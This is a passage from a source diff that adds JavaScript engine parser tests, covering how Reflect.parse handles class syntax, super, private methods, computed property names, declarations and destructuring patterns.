+ /* Trivial classes */
+ // Unnamed class statements are forbidden, but unnamed class expressions are
+ // just fine.
+ assertError("class { constructor() { } }", SyntaxError);
+ assertClass("class NAME { constructor() { } }", [ctorPlaceholder]);
+
+ // A class name must actually be a name
+ assertNamedClassError("class x.y { constructor() {} }", SyntaxError);
+ assertNamedClassError("class [] { constructor() {} }", SyntaxError);
+ assertNamedClassError("class {x} { constructor() {} }", SyntaxError);
+ assertNamedClassError("class for { constructor() {} }", SyntaxError);
+
+ // Allow methods and accessors
+ assertClass("class NAME { constructor() { } method() { } }",
+ [ctorPlaceholder, simpleMethod("method", "method", false)]);
+
+ assertClass("class NAME { constructor() { } get method() { } }",
+ [ctorPlaceholder, simpleMethod("method", "get", false)]);
+
+ assertClass("class NAME { constructor() { } set method(x) { } }",
+ [ctorPlaceholder, simpleMethod("method", "set", false, ["x"])]);
+
+ /* Static */
+ assertClass(`class NAME {
+ constructor() { };
+ static method() { };
+ static *methodGen() { };
+ static get getter() { };
+ static set setter(x) { }
+ }`,
+ [ctorPlaceholder,
+ simpleMethod("method", "method", false, [], true),
+ simpleMethod("methodGen", "method", true, [], true),
+ simpleMethod("getter", "get", false, [], true),
+ simpleMethod("setter", "set", false, ["x"], true)]);
+
+ // It's not an error to have a method named static, static, or not.
+ assertClass("class NAME { constructor() { } static() { } }",
+ [ctorPlaceholder, simpleMethod("static", "method", false)]);
+ assertClass("class NAME { static static() { }; constructor() { } }",
+ [simpleMethod("static", "method", false, [], true), ctorPlaceholder]);
+ assertClass("class NAME { static get static() { }; constructor() { } }",
+ [simpleMethod("static", "get", false, [], true), ctorPlaceholder]);
+ assertClass("class NAME { constructor() { }; static set static(x) { } }",
+ [ctorPlaceholder, simpleMethod("static", "set", false, ["x"], true)]);
+
+ // You do, however, have to put static in the right spot
+ assertClassError("class NAME { constructor() { }; get static foo() { } }", SyntaxError);
+
+ // Spec disallows "prototype" as a static member in a class, since that
+ // one's important to make the desugaring work
+ assertClassError("class NAME { constructor() { } static prototype() { } }", SyntaxError);
+ assertClassError("class NAME { constructor() { } static *prototype() { } }", SyntaxError);
+ assertClassError("class NAME { static get prototype() { }; constructor() { } }", SyntaxError);
+ assertClassError("class NAME { static set prototype(x) { }; constructor() { } }", SyntaxError);
+
+ // You are, however, allowed to have a CPN called prototype as a static
+ assertClass("class NAME { constructor() { }; static [\"prototype\"]() { } }",
+ [ctorPlaceholder, emptyCPNMethod("prototype", true)]);
+
+ /* Constructor */
+ // Allow default constructors
+ assertClass("class NAME { }", []);
+ assertClass("class NAME extends null { }", [], lit(null));
+
+ // Derived class constructor must have curly brackets
+ assertClassError("class NAME extends null { constructor() 1 }", SyntaxError);
+
+ // It is an error to have two methods named constructor, but not other
+ // names, regardless if one is an accessor or a generator or static.
+ assertClassError("class NAME { constructor() { } constructor(a) { } }", SyntaxError);
+ let methods = [["method() { }", simpleMethod("method", "method", false)],
+ ["*method() { }", simpleMethod("method", "method", true)],
+ ["get method() { }", simpleMethod("method", "get", false)],
+ ["set method(x) { }", simpleMethod("method", "set", false, ["x"])],
+ ["static method() { }", simpleMethod("method", "method", false, [], true)],
+ ["static *method() { }", simpleMethod("method", "method", true, [], true)],
+ ["static get method() { }", simpleMethod("method", "get", false, [], true)],
+ ["static set method(x) { }", simpleMethod("method", "set", false, ["x"], true)]];
+ let i, j;
+ for (i = 0; i < methods.length; i++) {
+ for (j = 0; j < methods.length; j++) {
+ let str = "class NAME { constructor() { } " +
+ methods[i][0] + " " + methods[j][0] +
+ " }";
+ assertClass(str, [ctorPlaceholder, methods[i][1], methods[j][1]]);
+ }
+ }
+
+ // It is, however, not an error to have a constructor, and a method with a
+ // computed property name 'constructor'
+ assertClass("class NAME { constructor () { } [\"constructor\"] () { } }",
+ [ctorPlaceholder, emptyCPNMethod("constructor", false)]);
+
+ // It is an error to have a generator or accessor named constructor
+ assertClassError("class NAME { *constructor() { } }", SyntaxError);
+ assertClassError("class NAME { get constructor() { } }", SyntaxError);
+ assertClassError("class NAME { set constructor() { } }", SyntaxError);
+
+ /* Semicolons */
+ // Allow Semicolons in Class Definitions
+ assertClass("class NAME { constructor() { }; }", [ctorPlaceholder]);
+
+ // Allow more than one semicolon, even in otherwise trivial classses
+ assertClass("class NAME { ;;; constructor() { } }", [ctorPlaceholder]);
+
+ // Semicolons are optional, even if the methods share a line
+ assertClass("class NAME { method() { } constructor() { } }",
+ [simpleMethod("method", "method", false), ctorPlaceholder]);
+
+ /* Generators */
+ // No yield as a class name inside a generator
+ assertError(`function *foo() {
+ class yield {
+ constructor() { }
+ }
+ }`, SyntaxError);
+ assertError(`function *foo() {
+ (class yield {
+ constructor() { }
+ })
+ }`, SyntaxError);
+
+ // No legacy generators for methods.
+ assertClassError(`class NAME {
+ constructor() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ method() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ get method() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ set method() { yield 2; }
+ }`, SyntaxError);
+
+ // Methods may be generators, but not accessors
+ assertClassError("class NAME { constructor() { } *get foo() { } }", SyntaxError);
+ assertClassError("class NAME { constructor() { } *set foo() { } }", SyntaxError);
+
+ assertClass("class NAME { *method() { } constructor() { } }",
+ [simpleMethod("method", "method", true), ctorPlaceholder]);
+
+ /* Strictness */
+ // yield is a strict-mode keyword, and class definitions are always strict.
+ assertClassError("class NAME { constructor() { var yield; } }", SyntaxError);
+
+ // Beware of the strictness of computed property names. Here use bareword
+ // deletion (a deprecated action) to check.
+ assertClassError("class NAME { constructor() { } [delete bar]() { }}", SyntaxError);
+
+ /* Bindings */
+ // Class statements bind lexically, so they should collide with other
+ // in-block lexical bindings, but class expressions don't.
+ let FooCtor = ctorWithName("Foo");
+ assertError("{ let Foo; class Foo { constructor() { } } }", SyntaxError);
+ assertStmt("{ let Foo; (class Foo { constructor() { } }) }",
+ blockStmt([letDecl([{ id: ident("Foo"), init: null }]),
+ exprStmt(classExpr(ident("Foo"), null, [FooCtor]))]));
+ assertError("{ const Foo = 0; class Foo { constructor() { } } }", SyntaxError);
+ assertStmt("{ const Foo = 0; (class Foo { constructor() { } }) }",
+ blockStmt([constDecl([{ id: ident("Foo"), init: lit(0) }]),
+ exprStmt(classExpr(ident("Foo"), null, [FooCtor]))]));
+ assertError("{ class Foo { constructor() { } } class Foo { constructor() { } } }", SyntaxError);
+ assertStmt(`{
+ (class Foo {
+ constructor() { }
+ },
+ class Foo {
+ constructor() { }
+ });
+ }`,
+ blockStmt([exprStmt(seqExpr([classExpr(ident("Foo"), null, [FooCtor]),
+ classExpr(ident("Foo"), null, [FooCtor])]))]));
+ assertStmt(`{
+ var x = class Foo { constructor() { } };
+ class Foo { constructor() { } }
+ }`,
+ blockStmt([varDecl([{
+ id: ident("x"),
+ init: classExpr(ident("Foo"), null, [FooCtor])
+ }]),
+ classStmt(ident("Foo"), null, [FooCtor])]));
+
+
+ // Can't make a lexical binding without a block.
+ assertError("if (1) class Foo { constructor() { } }", SyntaxError);
+
+ /* Heritage Expressions */
+ // It's illegal to have things that look like "multiple inheritance":
+ // non-parenthesized comma expressions.
+ assertClassError("class NAME extends null, undefined { constructor() { } }", SyntaxError);
+
+ // Again check for strict-mode in heritage expressions
+ assertClassError("class NAME extends (delete x) { constructor() { } }", SyntaxError);
+
+ // You must specify an inheritance if you say "extends"
+ assertClassError("class NAME extends { constructor() { } }", SyntaxError);
+
+ // "extends" is still a valid name for a method
+ assertClass("class NAME { constructor() { }; extends() { } }",
+ [ctorPlaceholder, simpleMethod("extends", "method", false)]);
+
+ // Immediate expression
+ assertClass("class NAME extends null { constructor() { } }",
+ [ctorPlaceholder], lit(null));
+
+ // Sequence expresson
+ assertClass("class NAME extends (undefined, undefined) { constructor() { } }",
+ [ctorPlaceholder], seqExpr([ident("undefined"), ident("undefined")]));
+
+ // Function expression
+ let emptyFunction = funExpr(null, [], blockStmt([]));
+ assertClass("class NAME extends function(){ } { constructor() { } }",
+ [ctorPlaceholder], emptyFunction);
+
+ // New expression
+ assertClass("class NAME extends new function(){ }() { constructor() { } }",
+ [ctorPlaceholder], newExpr(emptyFunction, []));
+
+ // Call expression
+ assertClass("class NAME extends function(){ }() { constructor() { } }",
+ [ctorPlaceholder], callExpr(emptyFunction, []));
+
+ // Dot expression
+ assertClass("class NAME extends {}.foo { constructor() { } }",
+ [ctorPlaceholder], dotExpr(objExpr([]), ident("foo")));
+
+ // Member expression
+ assertClass("class NAME extends {}[foo] { constructor() { } }",
+ [ctorPlaceholder], memExpr(objExpr([]), ident("foo")));
+
+ // #constructor is an invalid private method name.
+ assertClassError("class NAME { #constructor() { } }", SyntaxError);
+
+ const method = ["#method() { }", simpleMethod("#method", "method", false)];
+ const generator = ["*#method() { }", simpleMethod("#method", "method", true)];
+ const getter = ["get #method() { }", simpleMethod("#method", "get", false)];
+ const setter = ["set #method(x) { }", simpleMethod("#method", "set", false, ["x"])];
+ for (const [source, parsed] of [method, generator, getter, setter]) {
+ assertClass(`class NAME { constructor() { } ${source} }`, [ctorPlaceholder, parsed]);
+ }
+
+ // Private getters and setters of the same name are allowed.
+ assertClass(`class NAME { constructor() { } ${getter[0]} ${setter[0]} }`,
+ [ctorPlaceholder, getter[1], setter[1]]);
+ assertClass(`class NAME { constructor() { } ${setter[0]} ${getter[0]} }`,
+ [ctorPlaceholder, setter[1], getter[1]]);
+
+ // Private method names can't be used multiple times, other than for a getter/setter pair.
+ for (const [source1, _] of [method, generator, getter, setter]) {
+ for (const [source2, _] of [method, generator]) {
+ assertClassError(`class NAME { constructor() { } ${source1} ${source2} }`, SyntaxError);
+ }
+ }
+
+ assertClassError(`class NAME { constructor() { } ${setter[0]} ${setter[0]} }`, SyntaxError);
+ assertClassError(`class NAME { constructor() { } ${getter[0]} ${getter[0]} }`, SyntaxError);
+
+
+ /* SuperProperty */
+ // NOTE: Some of these tests involve object literals, as SuperProperty is a
+ // valid production in any method definition, including in objectl
+ // litterals. These tests still fall here, as |super| is not implemented in
+ // any form without classes.
+
+ function assertValidSuperProps(assertion, makeStr, makeExpr, type, generator, args, static,
+ extending) {
+ let superProperty = superProp(ident("prop"));
+ let superMember = superElem(lit("prop"));
+
+ let situations = [
+ ["super.prop", superProperty],
+ ["super['prop']", superMember],
+ ["super.prop()", callExpr(superProperty, [])],
+ ["super['prop']()", callExpr(superMember, [])],
+ ["new super.prop()", newExpr(superProperty, [])],
+ ["new super['prop']()", newExpr(superMember, [])],
+ ["delete super.prop", unExpr("delete", superProperty)],
+ ["delete super['prop']", unExpr("delete", superMember)],
+ ["++super.prop", updExpr("++", superProperty, true)],
+ ["super['prop']--", updExpr("--", superMember, false)],
+ ["super.prop = 4", aExpr("=", superProperty, lit(4))],
+ ["super['prop'] = 4", aExpr("=", superMember, lit(4))],
+ ["super.prop += 4", aExpr("+=", superProperty, lit(4))],
+ ["super['prop'] += 4", aExpr("+=", superMember, lit(4))],
+ ["super.prop -= 4", aExpr("-=", superProperty, lit(4))],
+ ["super['prop'] -= 4", aExpr("-=", superMember, lit(4))],
+ ["super.prop *= 4", aExpr("*=", superProperty, lit(4))],
+ ["super['prop'] *= 4", aExpr("*=", superMember, lit(4))],
+ ["super.prop /= 4", aExpr("/=", superProperty, lit(4))],
+ ["super['prop'] /= 4", aExpr("/=", superMember, lit(4))],
+ ["super.prop %= 4", aExpr("%=", superProperty, lit(4))],
+ ["super['prop'] %= 4", aExpr("%=", superMember, lit(4))],
+ ["super.prop <<= 4", aExpr("<<=", superProperty, lit(4))],
+ ["super['prop'] <<= 4", aExpr("<<=", superMember, lit(4))],
+ ["super.prop >>= 4", aExpr(">>=", superProperty, lit(4))],
+ ["super['prop'] >>= 4", aExpr(">>=", superMember, lit(4))],
+ ["super.prop >>>= 4", aExpr(">>>=", superProperty, lit(4))],
+ ["super['prop'] >>>= 4", aExpr(">>>=", superMember, lit(4))],
+ ["super.prop |= 4", aExpr("|=", superProperty, lit(4))],
+ ["super['prop'] |= 4", aExpr("|=", superMember, lit(4))],
+ ["super.prop ^= 4", aExpr("^=", superProperty, lit(4))],
+ ["super['prop'] ^= 4", aExpr("^=", superMember, lit(4))],
+ ["super.prop &= 4", aExpr("&=", superProperty, lit(4))],
+ ["super['prop'] &= 4", aExpr("&=", superMember, lit(4))],
+
+ // We can also use super from inside arrow functions in method
+ // definitions
+ ["()=>super.prop", arrowExpr([], superProperty)],
+ ["()=>super['prop']", arrowExpr([], superMember)]];
+
+ for (let situation of situations) {
+ let sitStr = situation[0];
+ let sitExpr = situation[1];
+
+ let fun = methodFun("method", type, generator, args, [exprStmt(sitExpr)]);
+ let str = makeStr(sitStr, type, generator, args, static, extending);
+ assertion(str, makeExpr(fun, type, static), extending);
+ }
+ }
+
+ function assertValidSuperPropTypes(assertion, makeStr, makeExpr, static, extending) {
+ for (let type of ["method", "get", "set"]) {
+ if (type === "method") {
+ // methods can also be generators
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, true, [], static, extending);
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, false, [], static, extending);
+ continue;
+ }
+
+ // Setters require 1 argument, and getters require 0
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, false,
+ type === "set" ? ["x"] : [], static, extending);
+ }
+ }
+
+ function makeSuperPropMethodStr(propStr, type, generator, args) {
+ return `${type === "method" ? "" : type} ${generator ? "*" : ""} method(${args.join(",")})
+ {
+ ${propStr};
+ }`;
+ }
+
+ function makeClassSuperPropStr(propStr, type, generator, args, static, extending) {
+ return `class NAME ${extending ? "extends null" : ""} {
+ constructor() { };
+ ${static ? "static" : ""} ${makeSuperPropMethodStr(propStr, type, generator, args)}
+ }`;
+ }
+ function makeClassSuperPropExpr(fun, type, static) {
+ // We are going right into assertClass, so we don't have to build the
+ // entire statement.
+ return [ctorPlaceholder,
+ classMethod(ident("method"), fun, type, static)];
+ }
+ function doClassSuperPropAssert(str, expr, extending) {
+ assertClass(str, expr, extending ? lit(null) : null);
+ }
+ function assertValidClassSuperPropExtends(extending) {
+ // super.prop and super[prop] are valid, regardless of whether the
+ // method is static or not
+ assertValidSuperPropTypes(doClassSuperPropAssert, makeClassSuperPropStr, makeClassSuperPropExpr,
+ false, extending);
+ assertValidSuperPropTypes(doClassSuperPropAssert, makeClassSuperPropStr, makeClassSuperPropExpr,
+ true, extending);
+ }
+ function assertValidClassSuperProps() {
+ // super.prop and super[prop] are valid, regardless of class heritage
+ assertValidClassSuperPropExtends(false);
+ assertValidClassSuperPropExtends(true);
+ }
+
+ function makeOLSuperPropStr(propStr, type, generator, args) {
+ let str = `({ ${makeSuperPropMethodStr(propStr, type, generator, args)} })`;
+ return str;
+ }
+ function makeOLSuperPropExpr(fun) {
+ return objExpr([{ type: "Property", key: ident("method"), value: fun }]);
+ }
+ function assertValidOLSuperProps() {
+ assertValidSuperPropTypes(assertExpr, makeOLSuperPropStr, makeOLSuperPropExpr);
+ }
+
+
+ // Check all valid uses of SuperProperty
+ assertValidClassSuperProps();
+ assertValidOLSuperProps();
+
+ // SuperProperty is forbidden outside of method definitions.
+ assertError("function foo () { super.prop; }", SyntaxError);
+ assertError("(function () { super.prop; }", SyntaxError);
+ assertError("(()=>super.prop)", SyntaxError);
+ assertError("function *foo() { super.prop; }", SyntaxError);
+ assertError("super.prop", SyntaxError);
+ assertError("function foo () { super['prop']; }", SyntaxError);
+ assertError("(function () { super['prop']; }", SyntaxError);
+ assertError("(()=>super['prop'])", SyntaxError);
+ assertError("function *foo() { super['prop']; }", SyntaxError);
+ assertError("super['prop']", SyntaxError);
+
+ // Or inside functions inside method definitions...
+ assertClassError("class NAME { constructor() { function nested() { super.prop; }}}", SyntaxError);
+
+ // Bare super is forbidden
+ assertError("super", SyntaxError);
+
+ // Even where super is otherwise allowed
+ assertError("{ foo() { super } }", SyntaxError);
+ assertClassError("class NAME { constructor() { super; } }", SyntaxError);
+
+ /* SuperCall */
+
+ // SuperCall is invalid outside derived class constructors.
+ assertError("super()", SyntaxError);
+ assertError("(function() { super(); })", SyntaxError);
+
+
+ // Even in class constructors
+ assertClassError("class NAME { constructor() { super(); } }", SyntaxError);
+
+ function superConstructor(args) {
+ return classMethod(ident("constructor"),
+ methodFun("NAME", "method", false,
+ [], [exprStmt(superCallExpr(args))]),
+ "method", false);
+ }
+
+ function superCallBody(args) {
+ return [exprStmt(superCallExpr(args))];
+ }
+
+ // SuperCall works with various argument configurations.
+ assertClass("class NAME extends null { constructor() { super() } }",
+ [ctorPlaceholder], lit(null), superCallBody([]));
+ assertClass("class NAME extends null { constructor() { super(1) } }",
+ [ctorPlaceholder], lit(null), superCallBody([lit(1)]));
+ assertClass("class NAME extends null { constructor() { super(1, a) } }",
+ [ctorPlaceholder], lit(null), superCallBody([lit(1), ident("a")]));
+ assertClass("class NAME extends null { constructor() { super(...[]) } }",
+ [ctorPlaceholder], lit(null), superCallBody([spread(arrExpr([]))]));
+
+ /* EOF */
+ // Clipped classes should throw a syntax error
+ assertClassError("class NAME {", SyntaxError);
+ assertClassError("class NAME {;", SyntaxError);
+ assertClassError("class NAME { constructor", SyntaxError);
+ assertClassError("class NAME { constructor(", SyntaxError);
+ assertClassError("class NAME { constructor()", SyntaxError);
+ assertClassError("class NAME { constructor()", SyntaxError);
+ assertClassError("class NAME { constructor() {", SyntaxError);
+ assertClassError("class NAME { constructor() { }", SyntaxError);
+ assertClassError("class NAME { static", SyntaxError);
+ assertClassError("class NAME { static y", SyntaxError);
+ assertClassError("class NAME { static *", SyntaxError);
+ assertClassError("class NAME { static *y", SyntaxError);
+ assertClassError("class NAME { static get", SyntaxError);
+ assertClassError("class NAME { static get y", SyntaxError);
+ assertClassError("class NAME { static ;", SyntaxError);
+ assertClassError("class NAME extends", SyntaxError);
+ assertClassError("class NAME { constructor() { super", SyntaxError);
+ assertClassError("class NAME { constructor() { super.", SyntaxError);
+ assertClassError("class NAME { constructor() { super.x", SyntaxError);
+ assertClassError("class NAME { constructor() { super.m(", SyntaxError);
+ assertClassError("class NAME { constructor() { super[", SyntaxError);
+ assertClassError("class NAME { constructor() { super(", SyntaxError);
+
+ // Can not omit curly brackets
+ assertClassError("class NAME { constructor() ({}) }", SyntaxError);
+ assertClassError("class NAME { constructor() void 0 }", SyntaxError);
+ assertClassError("class NAME { constructor() 1 }", SyntaxError);
+ assertClassError("class NAME { constructor() false }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() ({}) }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() void 0 }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() 1 }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() false }", SyntaxError);
+
+}
+
+runtest(testClasses);
diff --git a/js/src/tests/non262/reflect-parse/computedPropNames.js b/js/src/tests/non262/reflect-parse/computedPropNames.js
new file mode 100644
index 0000000000..d96e73152b
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/computedPropNames.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 924688: computed property names
+assertExpr('a= {[field1]: "a", [field2=1]: "b"}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(ident("field1")), value: lit("a")},
+ { key: computedName(aExpr("=", ident("field2"), lit(1))),
+ value: lit("b")}])));
+
+assertExpr('a= {["field1"]: "a", field2 : "b"}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(lit("field1")), value: lit("a") },
+ { key: ident("field2"), value: lit("b") }])));
+
+assertExpr('a= {[1]: 1, 2 : 2}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(lit(1)), value: lit(1) },
+ { key: lit(2), value: lit(2) }])));
+
+// Bug 924688: computed property names - location information
+var node = Reflect.parse("a = {[field1]: 5}");
+Pattern({ body: [ { expression: { right: { properties: [ {key: { loc:
+ { start: { line: 1, column: 5 }, end: { line: 1, column: 13 }}}}]}}}]}).match(node);
+
+// Bug 1048384 - Getter/setter syntax with computed names
+assertExpr("b = { get [meth]() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: computedName(ident("meth")), value: funExpr(null, [], blockStmt([])),
+ method: false, kind: "get"}])));
+assertExpr("b = { set [meth](a) { } }", aExpr("=", ident("b"),
+ objExpr([{ key: computedName(ident("meth")), value: funExpr(null, [ident("a")],
+ blockStmt([])), method: false, kind: "set"}])));
+
+// Bug 1220702 - If it's not written as a method, `.method` should be false.
+assertExpr("({[x]: function () {}})",
+ objExpr([{
+ key: computedName(ident("x")),
+ value: funExpr(null, [], blockStmt([])),
+ method: false,
+ kind: "init"
+ }]));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/declarations.js b/js/src/tests/non262/reflect-parse/declarations.js
new file mode 100644
index 0000000000..4962f4cee9
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/declarations.js
@@ -0,0 +1,97 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 632056: constant-folding
+program([exprStmt(ident("f")),
+ ifStmt(lit(1),
+ blockStmt([funDecl(ident("f"), [], blockStmt([]))]),
+ null)]).assert(Reflect.parse("f; if (1) function f(){}"));
+// declarations
+
+assertDecl("var x = 1, y = 2, z = 3",
+ varDecl([{ id: ident("x"), init: lit(1) },
+ { id: ident("y"), init: lit(2) },
+ { id: ident("z"), init: lit(3) }]));
+assertDecl("var x, y, z",
+ varDecl([{ id: ident("x"), init: null },
+ { id: ident("y"), init: null },
+ { id: ident("z"), init: null }]));
+assertDecl("function foo() { }",
+ funDecl(ident("foo"), [], blockStmt([])));
+assertDecl("function foo() { return 42 }",
+ funDecl(ident("foo"), [], blockStmt([returnStmt(lit(42))])));
+
+assertDecl("function foo(...rest) { }",
+ funDecl(ident("foo"), [], blockStmt([]), [], ident("rest")));
+
+assertDecl("function foo(a=4) { }", funDecl(ident("foo"), [ident("a")], blockStmt([]), [lit(4)]));
+assertDecl("function foo(a, b=4) { }", funDecl(ident("foo"), [ident("a"), ident("b")], blockStmt([]), [null, lit(4)]));
+assertDecl("function foo(a, b=4, ...rest) { }",
+ funDecl(ident("foo"), [ident("a"), ident("b")], blockStmt([]), [null, lit(4), null], ident("rest")));
+assertDecl("function foo(a=(function () {})) { function a() {} }",
+ funDecl(ident("foo"), [ident("a")], blockStmt([funDecl(ident("a"), [], blockStmt([]))]),
+ [funExpr(null, [], blockStmt([]))]));
+
+// Bug 1018628: default paremeter for destructuring
+assertDecl("function f(a=1, [x,y]=[2,3]) { }",
+ funDecl(ident("f"),
+ [ident("a"), arrPatt([ident("x"), ident("y")])],
+ blockStmt([]),
+ [lit(1), arrExpr([lit(2), lit(3)])]));
+
+// Bug 591437: rebound args have their defs turned into uses
+assertDecl("function f(a) { function a() { } }",
+ funDecl(ident("f"), [ident("a")], blockStmt([funDecl(ident("a"), [], blockStmt([]))])));
+assertDecl("function f(a,b,c) { function b() { } }",
+ funDecl(ident("f"), [ident("a"),ident("b"),ident("c")], blockStmt([funDecl(ident("b"), [], blockStmt([]))])));
+assertDecl("function f(a,[x,y]) { function a() { } }",
+ funDecl(ident("f"),
+ [ident("a"), arrPatt([assignElem("x"), assignElem("y")])],
+ blockStmt([funDecl(ident("a"), [], blockStmt([]))])));
+
+// Bug 591450: this test currently crashes because of a bug in jsparse
+// assertDecl("function f(a,[x,y],b,[w,z],c) { function b() { } }",
+// funDecl(ident("f"),
+// [ident("a"), arrPatt([ident("x"), ident("y")]), ident("b"), arrPatt([ident("w"), ident("z")]), ident("c")],
+// blockStmt([funDecl(ident("b"), [], blockStmt([]))])));
+
+// redeclarations (TOK_NAME nodes with lexdef)
+
+assertStmt("function f() { function g() { } function g() { } }",
+ funDecl(ident("f"), [], blockStmt([funDecl(ident("g"), [], blockStmt([])),
+ funDecl(ident("g"), [], blockStmt([]))])));
+
+// Fails due to parser quirks (bug 638577)
+//assertStmt("function f() { function g() { } function g() { return 42 } }",
+// funDecl(ident("f"), [], blockStmt([funDecl(ident("g"), [], blockStmt([])),
+// funDecl(ident("g"), [], blockStmt([returnStmt(lit(42))]))])));
+
+assertStmt("function f() { var x = 42; var x = 43; }",
+ funDecl(ident("f"), [], blockStmt([varDecl([{ id: ident("x"), init: lit(42) }]),
+ varDecl([{ id: ident("x"), init: lit(43) }])])));
+
+
+assertDecl("var {x:y} = foo;", varDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+assertDecl("var {x} = foo;", varDecl([{ id: objPatt([assignProp("x")]),
+ init: ident("foo") }]));
+
+// Bug 632030: redeclarations between var and funargs, var and function
+assertStmt("function g(x) { var x }",
+ funDecl(ident("g"), [ident("x")], blockStmt([varDecl([{ id: ident("x"), init: null }])])));
+assertProg("f.p = 1; var f; f.p; function f(){}",
+ [exprStmt(aExpr("=", dotExpr(ident("f"), ident("p")), lit(1))),
+ varDecl([{ id: ident("f"), init: null }]),
+ exprStmt(dotExpr(ident("f"), ident("p"))),
+ funDecl(ident("f"), [], blockStmt([]))]);
+}
+
+assertBlockStmt("{ function f(x) {} }",
+ blockStmt([funDecl(ident("f"), [ident("x")], blockStmt([]))]));
+
+// Annex B semantics should not change parse tree.
+assertBlockStmt("{ let f; { function f(x) {} } }",
+ blockStmt([letDecl([{ id: ident("f"), init: null }]),
+ blockStmt([funDecl(ident("f"), [ident("x")], blockStmt([]))])]));
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring-array-holes-reflect-as-null.js b/js/src/tests/non262/reflect-parse/destructuring-array-holes-reflect-as-null.js
new file mode 100644
index 0000000000..8005ecc5cd
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring-array-holes-reflect-as-null.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 632027: array holes should reflect as null
+assertExpr("[,]=[,]", aExpr("=", arrPatt([null]), arrExpr([null])));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring-assignment.js b/js/src/tests/non262/reflect-parse/destructuring-assignment.js
new file mode 100644
index 0000000000..cba4197ee9
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring-assignment.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// destructuring assignment
+
+function testAssignmentCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n + " = 0"), makePattSrc);
+ var pattPatts = makePatternCombinations(n => (aExpr("=", ident("x" + n), lit(0))), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ var src = pattSrcs[i].join(",");
+ var patt = pattPatts[i].length === 1 ? pattPatts[i][0] : seqExpr(pattPatts[i]);
+
+ // assignment expression statement
+ assertExpr("(" + src + ")", patt);
+
+ // for-loop head assignment
+ assertStmt("for (" + src + "; foo; bar);",
+ forStmt(patt, ident("foo"), ident("bar"), emptyStmt));
+ }
+}
+
+testAssignmentCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "} = 0"),
+ n => (aExpr("=",
+ objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))]),
+ lit(0))));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring-function-parameters.js b/js/src/tests/non262/reflect-parse/destructuring-function-parameters.js
new file mode 100644
index 0000000000..6b3a777379
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/destructuring-function-parameters.js
@@ -0,0 +1,45 @@
+// |reftest| slow skip-if(!xulRuntime.shell)
+function test() {
+
+function testParamPatternCombinations(makePattSrc, makePattPatt) {
+ var pattSrcs = makePatternCombinations(n => ("x" + n), makePattSrc);
+ var pattPatts = makePatternCombinations(n => (ident("x" + n)), makePattPatt);
+
+ for (var i = 0; i < pattSrcs.length; i++) {
+ function makeSrc(body) {
+ return "(function(" + pattSrcs[i].join(",") + ") " + body + ")";
+ }
+ function makePatt(body) {
+ return funExpr(null, pattPatts[i], body);
+ }
+
+ // no upvars, block body
+ assertExpr(makeSrc("{ }"), makePatt(blockStmt([])));
+ // upvars, block body
+ assertExpr(makeSrc("{ return [x1,x2,x3,x4,x5]; }"),
+ makePatt(blockStmt([returnStmt(arrExpr([ident("x1"), ident("x2"), ident("x3"), ident("x4"), ident("x5")]))])));
+ }
+}
+
+testParamPatternCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "}"),
+ n => (objPatt([assignProp("a" + n, ident("x" + n)),
+ assignProp("b" + n, ident("y" + n)),
+ assignProp("c" + n, ident("z" + n))])));
+
+testParamPatternCombinations(n => ("{a" + n + ":x" + n + " = 10," + "b" + n + ":y" + n + " = 10," + "c" + n + ":z" + n + " = 10}"),
+ n => (objPatt([assignProp("a" + n, ident("x" + n), lit(10)),
+ assignProp("b" + n, ident("y" + n), lit(10)),
+ assignProp("c" + n, ident("z" + n), lit(10))])));
+
+testParamPatternCombinations(n => ("[x" + n + "," + "y" + n + "," + "z" + n + "]"),
+ n => (arrPatt([assignElem("x" + n), assignElem("y" + n), assignElem("z" + n)])));
+
+testParamPatternCombinations(n => ("[a" + n + ", ..." + "b" + n + "]"),
+ n => (arrPatt([assignElem("a" + n), spread(ident("b" + n))])));
+
+testParamPatternCombinations(n => ("[a" + n + ", " + "b" + n + " = 10]"),
+ n => (arrPatt([assignElem("a" + n), assignElem("b" + n, lit(10))])));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/destructuring-variable-declarations.js b/js/src/tests/non262/reflect-parse/destructuring-variable-declarations.js
new file mode 100644
